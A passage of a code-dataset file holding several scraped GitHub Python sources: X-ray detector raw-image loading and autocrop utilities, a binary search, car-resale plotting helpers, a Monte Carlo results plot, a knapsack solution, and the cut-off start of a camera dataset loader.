65535, 'PixelSize': 0.148}\n        elif l==19481282:  #Pixium 4600, indeks 0\n            im_size = [3121, 3121]\n            # Mode informacije\n            DetInfo = {'Index': 0, 'Name': 'TrixellPixium4600', 'Type': 'DR', 'LinMax': 16384, 'PixelSize': 0.143,\n                       'Xmin':60, 'Ymin':60, 'Nx':3001, 'Ny':3001} #Aktivni deo slike\n        elif l==14400000:  #Trixell Pixium portable 3543, indeks 4\n            im_size = [2400, 3000]\n            # Mode informacije\n            DetInfo = {'Index': 4, 'Name': 'TrixellPixium3543', 'Type': 'DR', 'LinMax': 65535, 'PixelSize': 0.144}\n        elif l==5990400: #TRix 2430EZ, indeks 5\n            im_size = [1920, 1560]\n            # Mode informacije\n            DetInfo = {'Index': 5, 'Name': 'Trixell2430EZ', 'Type': 'DR', 'LinMax': 65535, 'PixelSize': 0.148}\n        elif l==18481152:  #Toshiba 4343\n            im_size = [3072, 3008]\n            # Mode informacije\n            DetInfo = {'Index': 1, 'Name': 'Toshiba4343', 'Type': 'DR', 'LinMax': 13000, 'PixelSize': 0.143}\n        elif l==18458880: #Toshiba 4343 RPW\n            im_size = [3036,3040]\n            # Mode informacije\n            DetInfo = {'Index': 29, 'Name': 'Toshiba4343RPW', 'Type': 'DR', 'PixelSize': 0.140}\n        elif l==14993280:  #Toshiba 3543_W\n            im_size = [2466, 3040]\n            # Mode informacije\n            DetInfo = {'Index': 30, 'Name': 'Toshiba3543W', 'Type': 'DR', 'PixelSize': 0.140}\n        elif l==18874368:  #Varian PaxScan4343, Rayence, DRTech EVS, Pixxgen\n            im_size = [3072, 3072]\n            if im_fname.find('Samsung'):  #Vrlo niskobudzetno testiranje za Samsung\n                # Mode informacije\n                DetInfo = {'Index': 2, 'Name': 'Rayence1717', 'Type': 'DR', 'LinMax':16536, 'PixelSize': 0.143}\n            elif im_fname.find('DRTech'):\n                # Mode informacije\n                DetInfo = {'Index': 13, 'Name': 'DRTech4343EVS', 'Type': 'DR', 'LinMax': 16536, 'PixelSize': 0.140}\n            elif im_fname.find('Toshiba'):\n                # Mode informacije\n                DetInfo = {'Index': 1, 'Name': 'Toshiba4343', 'Type': 'DR', 'LinMax': 13000, 'PixelSize': 0.143}\n            elif im_fname.find('Pixxgen'):  #Pixxgen 1717\n                # Mode informacije\n                DetInfo = {'Index': 40, 'Name': 'Pixxgen1717', 'Type': 'DR', 'LinMax': 32422, 'PixelSize': 0.140}\n            else:  #Inace Varex\n                # Mode informacije\n                DetInfo = {'Index': 26, 'Name': 'Varex4343', 'Type': 'DR', 'LinMax': 60000, 'PixelSize': 0.139}\n        elif l==13041663:  #Careray 1500P\n            im_size = [2304, 2816]\n            # Mode informacije\n            DetInfo = {'Index': 9, 'Name': 'Careray1500P', 'Type': 'DR', 'LinMax': 47000, 'PixelSize': 0.154}\n        elif l==12976128:  #Careray 1500CW\n            im_size = [2304, 2816]\n            # Mode informacije\n            DetInfo = {'Index': 8, 'Name': 'Careray1500CW', 'Type': 'DR', 'LinMax': 47000, 'PixelSize': 0.154}\n        elif l==15859712:  #Careray 1800R\n            im_size = [2816,2816]\n            # Mode informacije\n            DetInfo = {'Index': 10, 'Name': 'Careray1800R', 'Type': 'DR', 'LinMax': 47000, 'PixelSize': 0.154}\n        elif l==15212544:  #Varex 4336Wv4\n            im_size = [3072, 2476]\n            # Mode informacije\n            DetInfo = {'Index': 27, 'Name': 'Varex4336Wv4', 'Type': 'DR', 'LinMax': 6e4, 'PixelSize': 0.139}\n        elif l==30723840: #PerkinElmer XRPAD 4336\n            im_size = [4320, 3556]\n            # Mode informacije\n            DetInfo = {'Index': 11, 'Name': 'PerkinElmerXRPAD4336', 'Type': 'DR', 'LinMax': 16384, 'PixelSize': 0.100}\n        elif l==18013216:  #Rayence 14x17\n            im_size = [2756, 3268]\n            # Mode informacije\n            DetInfo = {'Index': 17, 'Name': 'Rayence1417', 'Type': 'DR', 'LinMax': 16384, 'PixelSize': 0.143}\n        elif l==11790368:  #Konica AeroDR 1717 (20)\n            im_size = [2428, 2428]\n            # Mode informacije\n            DetInfo = {'Index': 20, 'Name': 'KonicaAeroDR1717', 'Type': 'DR', 'LinMax': 4095, 'PixelSize': 0.175}\n        elif l==9690840:  #Konica AeroDR 1417, indeks 21\n            im_size = [2430, 1994]\n            # Mode informacije\n            DetInfo = {'Index': 21, 'Name': 'KonicaAeroDR1417', 'Type': 'DR', 'LinMax': 4095, 'PixelSize': 0.175}\n        elif l==4762368:  #Konica AeroDR 1012, indeks 22\n            im_size = [1696, 1404]\n            # Mode informacije\n            DetInfo = {'Index': 22, 'Name': 'KonicaAeroDR1012', 'Type': 'DR', 'LinMax': 4095, 'PixelSize': 0.175}\n        elif l==12902400:  #iRay 1417 (62)\n            im_size = [2800, 2304]\n            # Mode informacije\n            DetInfo = {'Index': 62, 'Name': 'iRay1417', 'Type': 'DR', 'LinMax': 13000, 'PixelSize': 0.150}\n        elif l==13105152:  #iRay 1417 (63)\n            im_size = [2844, 2304]\n            # Mode informacije\n            DetInfo = {'Index': 63, 'Name': 'iRay1417', 'Type': 'DR', 'LinMax': 13000, 'PixelSize': 0.150}\n        elif l==31195136:  #iRay Mars1417X (67)\n            im_size = [4352, 3584]\n            # Mode informacije\n            DetInfo = {'Index': 67, 'Name': 'iRay1417X', 'Type': 'DR', 'LinMax': 65535, 'PixelSize': 0.100}\n        elif l==15728640:  #Pixxgen 1417 (81)\n            im_size = [3072, 2560]\n            # Mode informacije\n            DetInfo = {'Index': 41, 'Name': 'Pixxgen1417', 'Type': 'DR', 'LinMax': 65535, 'PixelSize': 0.140}\n\n        # R&F slike\n        elif l==1843200:  #RF Trixell, 3x3 binning\n            im_size = [960, 960]\n            # Mode informacije\n            DetInfo = {'Index': 104}\n        elif l==1843456:   #RF Trixell, 3x3 binning, 960x960, sa zaglavljem 256 bita\n            im_size = [960, 960]\n            L_hdr = 256  # zaglavlje formata\n            # Mode informacije\n            DetInfo = {'Index': 104, 'Name': 'Trixel4343RF', 'Type': 'RF', 'LinMax': 45000, 'PixelSize': 3 * 0.148,\n                       'Xmin':0, 'Ymin':0, 'Nx':960, 'Ny':960}  # aktivni deo slike\n        elif l==2097408:  #Varex 4343DXV, 3x3 binning, 1024x1024, zaglavlje 256\n            im_size = [1024, 1024]\n            L_hdr = 256  # zaglavlje formata\n            # Mode informacije\n            DetInfo = {'Index': 205, 'Name': 'Varex4343DXV', 'LinMax': 50000, 'PixelSize': 0.417,\n                       'Xmin':0, 'Ymin':0, 'Nx':1024, 'Ny':1024}  # aktivni deo slike\n        else:\n            print('Nepoznat detektor, duzina '+str(l))\n            return\n        # ucitaj sliku odgovarajuce velicine\n        f = open(im_fname, 'rb')\n        im = np.fromfile(f, np.dtype('uint16'))\n        im = im[:im_size[0]*im_size[1]]\n        hdr = im[:L_hdr].astype(np.uint8)\n        im = im.reshape(im_size)\n\n    elif ext == '.dcm':\n        print()\n        #dicom ucitavanje\n    else:\n        print('Unrecognised panel format!')\n        return\n\n    f.close()\n\n    if not list(im.shape)==im_size:\n        print('Error reading image. Detektor: '+ str(DetInfo['Index']) +' Treba da je velicina '+ str(im_size)\n              +' a u stvari je  ' + ''.join(str(el) for el in im.shape))\n        im = []\n        prev_im = []\n        return\n\n    # Neophodne korekcije slika\n    if DetInfo['Index']==11:\n        im[im>16384] = 16384  # korigujemo zasicenje na 16 bita umesto na 14\n    elif DetInfo['Index']==104:  #Trixell RF 3x3 mod, fali  prva kolona\n        im[:,0] = im[:,1]  #kopiramo drugu\n\n    # Isecanje neaktivnog dela slike\n    if crop_flag and im.shape[0]>1000:  #I da nije prikaz (1/4 rezolucije)\n        if DetInfo['Index']==0:  #Trixell Pixium 4600\n            im = im[DetInfo['Ymin']:DetInfo['Ymin']+DetInfo['Ny'], DetInfo['Xmin']: DetInfo['Xmin'] + DetInfo['Nx']];\n        elif DetInfo['Index']==1:  #Toshiba 4343\n            im = im[32:3040,:]\n        elif DetInfo['Index']==2:  #Varian PaxScan4343\n            im = im[10:3062, 10:3062]  #varian 4343\n        elif DetInfo['Index']==3:  #Trixell 4143 ili 4343\n            # Odluci da li je 4143 ili 4343\n            if sum(sum(im[99: 150, 2809: 2860])) == 0:\n                im = im[4:2876, 32:2804] #Trix 4143\n            else:\n                im = im[4:2876, 32:2868] #Trix 4343\n        elif DetInfo['Index']==7:  #Trixell 3543 EZ\n            im = im[24:2864,34:2366]\n        elif DetInfo['Index']==9:  #Careray\n            im = im[6:2298,6:2810]\n        elif DetInfo['Index']==10:  #Careray 1800R\n            im = im[6:2810,6:2810]\n        elif DetInfo['Index']==13:  #DRTech EVS\n            im = im[20:3052,20:3052]\n        elif DetInfo['Index']==21:  #Konica 1417\n            im = im[:2428,:1992]\n        elif DetInfo['Index']==22:  #Konica 1012\n            im = im[:1692,:1404]\n        elif DetInfo['Index']==26:  #Varian 4343v3/RC\n            im = im[20:3052,20:3052]\n        elif DetInfo['Index']==27:  #Varian 4336Wv4\n            im = im[20:3052,20:2456]\n        elif DetInfo['Index']==41:  #Pixxgen 1417\n            im = im[:3052,:2500]\n        elif DetInfo['Index']==67:  #iRay Mars1417X\n            im = im[26:4326,42:3542]\n\n    # izlazna lista\n    out = [im, DetInfo, hdr]\n\n    # simuliranje preview slika\n\n    if preview_flag:\n        prev_im = []\n        if DetInfo['Index']==0:  #Pixium 4600, redukujemo rezoluciju na 1/4\n            if im.shape[0]!=3001:\n                prox_im = im[60:3060,60:3060]\n            else:\n                prox_im = im[:3000, :3000]\n            prev_im = np.uint16(prox_im[0:3000:4, 0:3000:4])\n        elif DetInfo['Index'] in [4,7,20,21,27]:  #Trixell 4143, Varian, Samsung i Imix imaju sliku iste velicine\n            prev_im = im[2::4, 2::4]\n\n        out.append(prev_im)\n\n    return out\n\n\ndef log_LUT(ip_opseg, op_opseg=256, tol = 0.04):\n\n    lin_op_opseg = int(np.ceil(tol*op_opseg))\n    lin_ip_opseg = int(np.ceil(tol*ip_opseg))\n    log_min = np.log(lin_ip_opseg+1)\n    log_max = np.log(ip_opseg)\n\n    # lut = np.zeros([1, ip_opseg])\n    lut = np.zeros(ip_opseg)\n\n    step = (lin_op_opseg-1)/(lin_ip_opseg-1)\n    lut[0:lin_ip_opseg] = np.arange(0, lin_op_opseg-1+step, step)\n\n    k = (op_opseg-lin_op_opseg)/(log_max-log_min)\n    log_deo = lin_op_opseg+k*(np.log(np.arange(lin_ip_opseg, ip_opseg)) - log_min)\n    lut[lin_ip_opseg:ip_opseg+1] = log_deo\n\n    lut[-1] = op_opseg\n\n    return lut\n\n\ndef sigmLUT(ip_range, op_range, k):\n\n    k = k*2/op_range\n    lut = 2*op_range*(1/(1+np.exp(-k*(np.arange(-ip_range, ip_range+1))))-0.5)\n\n    return lut\n\n\ndef sigmLUT_lin(ip_range, op_range, k, t=0.05):\n\n    k = k*2/op_range\n    lut = 2*op_range*(1/(1+np.exp(-k*(np.arange(-ip_range, ip_range+1))))-0.5)\n\n    sum_tol = int(lut.size*t)\n    lin_deo = np.arange(-sum_tol, sum_tol+1)\n    lut[lin_deo+ip_range] = lin_deo\n\n    return lut\n\n\ndef sigmLUT_z(ip_range, op_range, k, t=0.05):\n\n    k = k*2/op_range\n    lut = 2*op_range*(1/(1+np.exp(-k*(np.arange(-ip_range, ip_range+1))))-0.5)\n\n    if t<1:\n        sum_tol = int(lut.size*t)\n        lin_deo = np.arange(-sum_tol, sum_tol+1)\n        lut[lin_deo+ip_range] = 0\n    else:\n        x = np.arange(-ip_range, ip_range+1)\n        lut[abs(x)<t] = 0\n\n    return lut\n\n\ndef stat_hist_lims_fromh(h,samples,lims):\n\n    limits = np.zeros(2)\n    bin_lims = np.zeros(2, dtype=int)\n\n    bot_lim = lims[0]\n    top_lim = 1 - lims[1]\n\n    # kumulativni histogram\n    ch = np.cumsum(h)\n\n    # Gornja granica\n    if top_lim == 1:\n        top_bin = np.where(ch > 1 - 1e-9)[0][0]\n    else:\n        top_bin = np.where(ch>= top_lim)[0][0]\n\n    #vec prvi akumulator prelazi granicu\n    if top_bin.size == 0:\n        bin_lims[1] = samples.size-1\n    else:\n        bin_lims[1] = top_bin\n\n    limits[1] = samples[bin_lims[1]]\n\n    # Donja granica\n    if bot_lim == 0:\n        bot_lim = np.finfo(float).eps\n\n    below = np.where(samples[ch<bot_lim])[0][-1]\n\n    #vec prvi akumulator prelazi granicu\n    if below.size==0:\n        bin_lims[0] = 0\n    else:\n        bin_lims[0] = below\n\n    limits[0] = samples[bin_lims[0]]\n\n    return limits\n\ndef vis_ts_sigm(a, p, iz_opseg):\n\n    k = p[0]\n    s = p[1]\n    ind = np.arange(0, 1+1/iz_opseg, 1/iz_opseg)\n    # oblik krive\n    fx = 1 / (1 + np.exp(-(1 + k * 1) * (ind - s)))\n    n_fx = iz_opseg * im_norm(fx)\n\n    a_norm = np.uint32((iz_opseg - 1) * (1-im_norm(a)))\n    b = n_fx[a_norm]\n\n    return b\n\n\n\ndef stat_hist_lims(a,lims,samples,dec_step=1):\n    k = 256\n    bot_lim = lims[0]\n    top_lim = 1 - lims[1]\n    if samples.size==0:\n        samples = np.arange(np.min(a),(np.max(a)-np.min(a))+1)/np.arange((k - 1),np.max(a)+1)\n\n    # Evaluate histogram\n    if dec_step == 1:\n        h = np.histogram(a,samples)\n        h = h[0]\n    else:\n        h = np.hist(a[0:a.size+1:dec_step], samples)\n\n    sh = sum(h)\n    if sh > 1:\n        h = h/sum(h)\n\n    # Cumulative histogram\n    ch = np.cumsum(h)\n\n    limits=[0,0]\n    bin_lims=[0,0]\n    # Top limit, check if 0 in which case return max sample\n    if top_lim == 1:\n        top_lim = 1-1 / a.size+np.finfo(float).eps\n    top_bin = np.where(ch >= top_lim)[0][0]\n    if top_bin.size==0 or top_bin == 0:\n        top_bin = len(samples)-1\n    limits[1] = samples[top_bin]\n    bin_lims[1] = top_bin\n\n    # Bottom limit\n    if bot_lim == 0:\n        bot_lim = 1 / a.size\n    samples = samples[:-1]\n    below = np.where(samples[ch < bot_lim])[0][-1]\n    if below.size==0:\n        bin_lims[0]=1\n    else:\n        bin_lims[0] = below\n    limits[0] = samples[bin_lims[0]]\n\n    return limits, h, bin_lims\n\n\n\ndef autocrop(im, disp_flag=0, oz_pov=0.2):\n\n    # oz_pov - Sigurno ozracena povrsina\n\n    dir_oz = False\n\n    # Ulazna slika (ucitaj ako je dato ime)\n    if type(im)==str:\n        ime = im\n        im = read_raw(im, 1)\n    else:\n        ime=''\n\n    # Redukuj sliku za faktor 4 ako je 3001x3001, uvek radimo na prikazu\n    if any(np.array(im.shape) > 2380):\n        work_im = np.float32(im[2:im.shape[0]:4, 2:im.shape[1]:4])\n    else:\n        work_im = np.float32(im)\n\n    uk_fak = 4 # Ukupni faktor redukcije rezolucije\n    (poc_v, poc_s) = work_im.shape  #Granice radne slike da posle ogranicimo roi\n\n    # Redukuj sa velicine preview slike na zeljenu rezoluciju\n\n    k = np.max(np.where((np.array(im.shape).min()/(2**np.arange(1,6)))>50))\n    LP, GP, Res, size_vec = im_pyr_decomp(work_im, k)\n    work_im = Res\n    uk_fak = uk_fak*(2**k)\n\n    # Parametri\n    tol = 2  #Tolerancija po rubovima slike u cm\n    lin_T = 0.9  #Prag usaglasenosti linije\n    cr_tol = 0.12  #Tolerancija najmanje udaljenosti lamela od centra slike\n\n    # Izvedeni parametri\n    v, s = work_im.shape\n    k = round(s*tol/43)\n    if disp_flag:\n        fig = plt.figure()\n        fig.suptitle = ime\n        plt.imshow(work_im*255/min(1300, 1.3 * work_im.max()))\n        plt.axis('off')\n        plt.show()\n\n    # Nalazenje sigurno ozracenog regiona\n    # Nadji raspon intenziteta sigurno ozracenog regiona\n    [lims, h, bin_lims] = stat_hist_lims(work_im, [1 - oz_pov, 0.01], np.arange(0, 11000+1, 4))\n    if disp_flag:\n        print('Limits are: ' + [str(l) for l in lims])\n\n    valid_int = work_im > lims[0] - 1\n\n    # Nadji vrhove intenziteta\n    vrhovi = maximum_filter(work_im, size=8)\n    # vrhovi = (im == vrhovi_m)\n\n    # Kombinuj u region i prikazi sigurno osvetljeni region\n    osv = vrhovi * valid_int\n    x = np.where(np.sum(osv, axis=0))\n    y = np.where(np.sum(osv, axis=1))\n    mx_x = np.max(x)\n    mn_x = np.min(x)\n    mx_y = np.max(y)\n    mn_y = np.min(y)\n\n    if disp_flag:\n        # disp_draw_box\n        print()\n\n    # Testiraj ako je cela slika nekolimisana\n    if mn_x<=k and mn_y<=k and mx_x>=s-k+1 and mx_y>=v-k+1:\n        # za sada dict, napraviti klasu\n        roi = {'x':1, 'y':1, 'nx':4 * poc_s, 'ny':4 * poc_v, 'dx':1, 'dy':0}\n        cr_im = im\n        return\n\n    vg = np.zeros((work_im.shape[0], work_im.shape[1]))\n    hg = vg\n    vg[0: v,:] = convolve1d(work_im,[-1, 0, 1], axis=0)\n    hg[:, 0: s] = convolve1d(work_im,[-1, 0, 1],axis=0)\n    sg = np.sqrt(vg**2 + hg**2)\n\n    r_h = sum(np.sign(hg)* np.abs(hg))/(sum(np.abs(sg)) + np.finfo(float).eps)\n    r_v = sum(np.sign(vg)*np.abs(vg))/(sum(np.abs(sg))+np.finfo(float).eps)\n\n    r_h[mn_x-1: mx_x] = 0\n    r_v[mn_y-1: mx_y] = 0\n    r_h[:k] = 0\n    r_h[s - k + 1: s] = 0\n    r_v[: k - 1] = 0\n    r_v[v - k + 1: v] = 0\n\n    g_L = np.where(r_h < -lin_T)\n    g_D = np.where(r_h > lin_T)\n    g_G = np.where(r_v < -lin_T)\n    g_I = np.where(r_v > lin_T)\n\n    if (np.array(g_L) < (0.5 - cr_tol) * s).size != 0:\n        mn_x = np.max(g_L[np.array(g_L) < (0.5 - cr_tol) * s])\n    else:\n        mn_x = 1\n    if (np.array(g_D) > (0.5 + cr_tol) * s).size != 0:\n        mx_x = np.min(g_D[g_D > (0.5 + cr_tol) * s])\n    else:\n        mx_x = s\n    if (np.array(g_G) < (0.5 - cr_tol) * v).size != 0:\n        mn_y = np.max(g_G[g_G < (0.5 - cr_tol) * v])\n    else:\n        mn_y = 1\n    if (np.array(g_I) > (0.5 + cr_tol) * v).size != 0:\n        mx_y = np.min(g_I[g_I > (0.5 + cr_tol) * v])\n    else:\n        mx_y = v\n\n\n    mn_x = uk_fak * mn_x + 1\n    mx_x = uk_fak * mx_x\n    mn_y = uk_fak * mn_y + 1\n    mx_y = uk_fak * mx_y\n\n    if mx_x > 4 * poc_s: mx_x = 4 * poc_s\n    if mx_y > 4 * poc_v: mx_y = 4 * poc_v\n\n    roi = [mn_x, mn_y, mx_x - mn_x + 1, mx_y - mn_y + 1, 1, 0]\n    x = mn_x\n    y = mn_y\n    nx=mx_x - mn_x + 1\n    ny=mx_y - mn_y + 1\n    dx=1\n    dy=0\n\n    if (dx*dy) == 0 and (dx + dy) == 1:\n        if dx*10 + dy == 10: okret = 0\n        if dx * 10 + dy == 1: okret = 1\n        if dx * 10 + dy == -10: okret = 2\n        if dx * 10 + dy == -1: okret = 3\n\n        xt = [x, x+(nx-1)*dx,x+(nx-1)*dx-(ny-1)*dy,x-(ny-1)*dy]\n        yt = [y, y+(nx-1)*dy,y+(nx-1)*dy+(ny-1)*dx,y+(ny-1)*dx]\n        cr_im = np.rot90(im[np.array(yt).min()-1:np.array(yt).max(), np.array(xt).min()-1:np.array(xt).max()], okret)\n    else:\n        [x_fromx, x_fromy] = np.meshgrid(np.arange(0,nx)*dx, np.arange(0,ny)*dy)\n        [y_fromx, y_fromy] = np.meshgrid(np.arange(0,nx)*dy, -1*np.arange(0,ny)*dx)\n        x_ind = x + x_fromx - x_fromy\n        y_ind = y + y_fromx - y_fromy\n\n        cr_im = interp2d(x_ind, y_ind, im, kind='linear', fill_value=0)\n\n    return cr_im\n\n\ndef disp_im(im, lmin=0, lmax=255, title=''):\n\n    fig = plt.figure()\n    ax = fig.add_axes([0,0,1,1])\n    ax.imshow(im, cmap='gray', vmin=lmin, vmax=lmax)\n    plt.axis('off')\n    plt.title(title)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"nebojsa-bozanic/BMI_OSuM","sub_path":"Vezba10: Sjedinjavanje multi-modalnih slika/osum.py","file_name":"osum.py","file_ext":"py","file_size_in_byte":20713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36361862493","text":"def binary_search(array, target):\n    \"\"\" An implementation of iterative binary search.\n\n    Takes in a list of sorted numbers 'array', and a target number 'target'.\n    Returns the index of the targe number if it is in 'array', and False otherwise.\n    \"\"\"\n    # Invariant: if the target is in array, it is between low (inclusive) and high (exclusive)\n    # aka in array[low, high-1]\n\n    low = 0 # first index of array\n    high = len(array) # end of array (exclusive)\n\n    while (low < high -1): # when is array[low, high-1] empty (aka when have we looked at all elements or if the list is empty)?\n                        # when low = high-1 (because it'd be array[low, low], which is empty)\n        mid = (low + high)//2 # mid point of the looked at array\n        print(\"mid\", mid)\n        if target < array[mid]: # the target is in the lower half\n            print(\"lower\")\n            high = mid # move high down so we look at the lower half\n                        # remember in this case, high is excluded from the active range.\n                        # since we know that mid isnt the target, we can directly move high to mid\n        if target >= array[mid]: # the target is in the upper half OR\n                                    # the target is equal to the mid point\n            print(\"higher\")\n            low = mid # move low up so we look at the upper half\n                        # directly move low to mid since we want to include that element\n                        # OR if target is at the midpoint, purposefully fail the while loop\n                            # this way, when the loop ends low = high - 1, and there is only element in the active range, which is array[low]\n    if array[low] == target: # after the while loop terminates, there is only one element left to look at\n        return low\n    return False # the target number isn't in the array\n\nprint(binary_search([0,1,2,3,4,5,6,7,8], 5))\n","repo_name":"kimypham/algo-data","sub_path":"searching/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29596690037","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nimport altair as alt\nfrom vega_datasets import data\nimport pandas as pd\n\nticks_settings = {'fontsize':15}\nlabel_settings = {'fontsize':25}\n\ndef plot_segment_volume(df):\n    sub_df = df[df['year'] > 2011]\n    grouped_df = sub_df.groupby(['model', 'year'], as_index=False).count()\n\n    fig = plt.figure(figsize=(18, 10))\n    plt.title('Resale volume by model year for different models', **label_settings)\n    sns.barplot(y=grouped_df['price'], x=grouped_df['model'], hue=grouped_df['year'])\n    plt.xticks(**ticks_settings)\n    plt.xlabel(\"Models and their model years\", **label_settings)\n    plt.ylabel(\"Resale volume\", **label_settings)\n\n    return fig\n\ndef plot_segment_volume_altair(df):\n    sub_df = df[df['year'] > 2011]\n    grouped_df = sub_df.groupby(['model', 'year'], as_index=False).count()\n\n    chart = alt.Chart(grouped_df).mark_bar().encode(\n    x=alt.X('year:N', title='Year'),\n    y=alt.Y('price:Q', title='Volume'),\n    color=alt.Color('year:N', title='Year')\n    ).facet(\n        column='model:N'\n    )\n    return chart\n\ndef plot_price_with_age(df):\n    grouped_df = df.groupby(['model', 'age']).mean()[['price', 'odometer']].reset_index()\n    grouped_df = grouped_df[grouped_df['age'] <= 15]\n    # Create Altair chart\n    chart = alt.Chart(grouped_df).mark_line().encode(\n        x=alt.X('age:Q', title='Age'),\n        y=alt.Y('price:Q', title='Price'),\n        color=alt.Color('model:N', title='Model')\n    ).properties(\n        title='Price by Age and Model',\n        width=550,\n        height=400,\n    )\n    \n    return chart\n\ndef plot_mileage_with_age(df):\n    grouped_df = df.groupby(['model', 'age']).mean()[['price', 'odometer']].reset_index()\n    grouped_df = grouped_df[grouped_df['age'] <= 15]\n    # Create Altair chart\n    chart = alt.Chart(grouped_df).mark_line().encode(\n        x=alt.X('age:Q', title='Age'),\n        y=alt.Y('odometer:Q', title='Mileage'),\n        color=alt.Color('model:N', title='Model')\n    ).properties(\n        title='Mileage by Age and Model',\n        width=550,\n        height=400,\n    )\n    \n    return chart\n\ndef plot_choropleth(df, var, model):\n    df = df.copy()\n    df = df[df['model'] == model]\n    grouped_df = df.groupby(['state']).agg({'price': 'mean', 'year': 'count'}).reset_index()\n    state_names = grouped_df.state.unique()\n    state_ids = [x+1 for x in range(len(state_names))]\n    state_mappings = pd.DataFrame({'state': state_names, 'id': state_ids})\n\n    grouped_df = grouped_df.merge(state_mappings, on='state', how='left')\n\n    states = alt.topo_feature(data.us_10m.url, 'states')\n\n    background = alt.Chart(states).mark_geoshape(\n        fill='lightgray',\n        stroke='white'\n    ).project('albersUsa').properties(\n        width=600,\n        height=400\n    )\n\n    ch_map = alt.Chart(states).mark_geoshape().encode(\n                color='price:Q',\n                tooltip=['id:O', 'price:Q']\n            ).transform_lookup(\n                lookup='id',\n                from_=alt.LookupData(grouped_df, 'id', ['price'])\n            ).project(\n                type='albersUsa'\n            ).properties(\n                width=600,\n                height=400,\n                title=f'Price of {model} for each states'\n            )\n    return background+ch_map\n\ndef plot_scatter_with_age(df, model, var):\n    model_df = df[df['model'] == model]\n    model_df = model_df[(model_df['price'] < 35000) & (model_df['age'] < 30) & (model_df['odometer'] < 300000)]\n    model_df.dropna(subset=['condition'], inplace=True)\n\n    scatter = alt.Chart(model_df).mark_point().encode(\n        x='age',\n        y=var,\n        color='condition'\n    ).properties(\n        title=f'{var.capitalize()} vs Age marked by the condition',\n        height=600, width=750,\n    )\n    \n    return scatter","repo_name":"nevinbaiju/ITCS-5122-final_project","sub_path":"pages/_plot_utils.py","file_name":"_plot_utils.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70110268168","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ngoodness = []\ntimes = []\nN = []\n\nreadN = False\nfor i in range(4) :\n    with open(\"data/goodnessMC\" + str(i)) as f:\n        dataContent = f.readlines()\n    # you may also want to remove whitespace characters like `\\n` at the end of each line\n\n    data = []\n    for string in dataContent :\n        split = string.split(\",\")\n        if not readN :\n            N.append(int(split[0]))\n        data.append(float(split[1]))\n\n    readN = True\n\n    with open(\"data/timesMC\" + str(i)) as f:\n        timeContent = f.readlines()\n\n    \n    time = []\n    for string in timeContent :\n        split = string.split(\",\")\n\n        time.append(float(split[1]))\n\n    goodness.append(np.asarray(data))\n    times.append(np.asarray(time))\n\nN = np.asarray(N)\n\nf, (ax1, ax2) = plt.subplots(1,2, sharex=True)\n\nax1.set_title(\"Goodness vs N\")\nfor i in range(4) :\n    j = i + 1\n    if i > 1 :\n        j += 1\n    ax1.semilogx(N, goodness[i], label=\"MonteCarlo \" + str(j))\nax1.set_xlabel(r\"$N$\")\nax1.set_ylabel(r\"$Goodness (euclidean)$\")\nax1.legend()\n# ax1.set_xlim(5, 9)\n# ax1.set_ylim(0, 1e-3)\n\nax2.set_title(\"Time consumption vs N\")\nfor i in range(4) :\n    j = i + 1\n    if i > 1 :\n        j += 1\n    ax2.semilogx(N, times[i], label=\"MonteCarlo \" + str(j))\nax2.set_xlabel(r\"$N$\")\nax2.set_ylabel(r\"Computation time (s)\")\nax2.legend()\n# ax2.set_xlim(5, 9)\n# ax2.set_ylim(0, 35)\n\nf.set_size_inches(20, 10)\n\nplt.savefig(\"data/montecarlo_plots.eps\")\nplt.show()\nplt.close()","repo_name":"antolu/KTH-InformationRetrieval-DD2476","sub_path":"montecarlo_alignment.py","file_name":"montecarlo_alignment.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15810367499","text":"# Uses python3\nimport sys\n\n\ndef optimal_weight(capacity, gold_items):\n    # write your code here\n    result = []\n    for i in range(len(gold_items)+1):\n        result.append((capacity+1) * [0])\n\n    for gold_idx in range(1, len(gold_items)+1):\n        gold_w = gold_items[gold_idx-1]\n        for weight in range(1, capacity+1):\n            result[gold_idx][weight] = result[gold_idx-1][weight]\n            if gold_w <= weight:\n                result[gold_idx][weight] = max(result[gold_idx-1][weight-gold_w] + gold_w, result[gold_idx][weight])\n\n    return result[len(gold_items)][capacity]\n\n\nif __name__ == '__main__':\n    input = sys.stdin.read()\n    W, n, *w = list(map(int, input.split()))\n    print(optimal_weight(W, w))\n","repo_name":"artsiom-kotau/coursera-alg-spec","sub_path":"alg-toolbox/week6_dynamic_programming2/1_maximum_amount_of_gold/knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34763367838","text":"import torch\nimport torch.nn.functional as F\nimport cv2 as cv\nimport numpy as np\nimport os\nfrom glob import glob\nfrom icecream import ic\nfrom scipy.spatial.transform import Rotation as Rot\nfrom scipy.spatial.transform import Slerp\n\ndef decomposeP(P):\n    M = P[0:3,0:3]\n    Q = np.eye(3)[::-1]\n    P_b = Q @ M @ M.T @ Q\n    K_h = Q @ np.linalg.cholesky(P_b) @ Q\n    K = K_h / K_h[2,2]\n    A = np.linalg.inv(K) @ M\n    l = (1/np.linalg.det(A)) ** (1/3)\n    R = l * A\n    t = l * np.linalg.inv(K) @ P[0:3,3]\n    w2c = np.concatenate([R, t[:, None]], axis=1)\n    w2c = np.concatenate([w2c, np.array([[0, 0, 0, 1]])], axis=0) # [4, 4]\n    K_out = np.eye(4)\n    K_out[0:3,0:3] = K\n    return K_out, w2c\n\nclass Dataset:\n    def __init__(self, conf):\n        super(Dataset, self).__init__()\n        print('Load data: Begin')\n        self.device = torch.device('cuda')\n        self.conf = conf\n\n        self.data_dir = conf.get_string('data_dir')\n        self.render_cameras_name = conf.get_string('render_cameras_name')\n        self.object_cameras_name = conf.get_string('object_cameras_name')\n\n        self.camera_outside_sphere = 